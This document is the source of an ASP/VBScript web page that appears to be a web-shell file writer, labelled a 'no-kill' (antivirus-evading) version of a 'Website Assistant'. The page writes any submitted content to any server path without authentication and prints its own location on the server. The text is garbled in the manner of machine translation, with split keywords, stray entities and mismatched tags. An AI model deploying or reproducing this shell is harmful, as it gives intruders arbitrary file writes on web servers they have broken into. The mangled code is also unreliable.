<% @ LANGUAGE = "VBScript" CODEPAGE = "936" %>
<Html>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
<Title> side note-the Website Assistant Xu Fang modifies the no-kill version. </title>
<Style type = "text/css">
<! --
. Black {
Font-family: "";
Font-size: 12px;
Color: #000000;
Text-decoration: none;
Line-height: 120% ;}
-->
</Style>
<Style type = "text/css">
<! --
A: link {
Font-family: "";
Font-size: 12px;
Color: #00CC00;
Text-decoration: none;
}
A: visited {
Font-family: "";
Font-size: 12px;
Color: #00CC00;
Text-decoration: none;
}
A: hover {
Font-family: "";
Font-size: 12px;
Color: #333333;
Text-decoration: none;
}
-->
</Style>
</Head>
<Body bgcolor = "#000000" leftmargin = "0" topmargin = "0" marginwidth = "0" marginheight = "0">
<P>
<% Dim FSO %>
<% Dim Data %>
<% Dim MyFile %>
<% On error resume next %>
<% Set FSO = Server. CreateObject ("Scripting. FileSystemObject") %>
<% If Trim (request ("path1") <> "" then %>
<% Data = request ("path2") %>
<% Set MyFile = FSO. CreateTextFile (request ("path1"), True) %>
<% MyFile. Write Data %>
<% If err = 0 then %>
<% Response. write "<font color = # FFFF00> success! :) </Font> "%>
<% Else %>
<% Response. write "<font color = # FFFF00> failed! :( </Font> "%>
<% End if %>
<% Err. clear %>
<% End if %>
<% MyFile. Close %>
<% Set MyFile = Nothing %>
<% Set FSO = Nothing %>
<% Response. write "</form>" %>
</P>
<Table width = "100%" height = "100%" border = "0" cellpadding = "0" cellspacing = "0" bordercolor = "# FFFFFF">
<Tr>
& Lt; td height = "100%" & gt;
<Table width = "100%" border = "0" cellpadding = "0" cellspacing = "0" bgcolor = "# FFFFFF">
<Tr>
<Td> <table width = "700" border = "0" align = "center" cellpadding = "0" cellspacing = "1">
<Tr>
<Td bgcolor = "# FFFFFF"> <span class = "black">
<% Response. write "the orientation of this file on the server:" %>
<% = Server. mappath (Request. ServerVariables ("SCRIPT_NAME") %>
<Br>
<% Response. write "<form action = ''' method = post>" %>
</Span> </td>
</Tr>
<Tr>
<Td bgcolor = "# FFFFFF"> <span class = "black"> input path: <% Response. write "<input type = text name = path1 width = 200 size = 81>" %>
</Span> </td>
</Tr>
<Tr>
<Td bgcolor = "# FFFFFF" class = "black">
<% Response. write "input content:" %>
<% Response. write "<textarea name = path2 cols = 80 rows = 15 width = 32> </textarea>" %>
</Td>
</Tr>
<Tr>
<Td bgcolor = "# FFFFFF"> <div align = "center"> <span class = "black">
<% Response. write "<input type = submit value = westday Sutra>" %>
</Span> </div> </td>
</Tr>
</Tr>
<Td bgcolor = "# FFFFFF" class = "black"> <div align = "center"> </a> </div> </td>
</Tr>
</Table> </td>
</Tr>
</Table> </td>
</Tr>
</Table>
</Body>
</Html>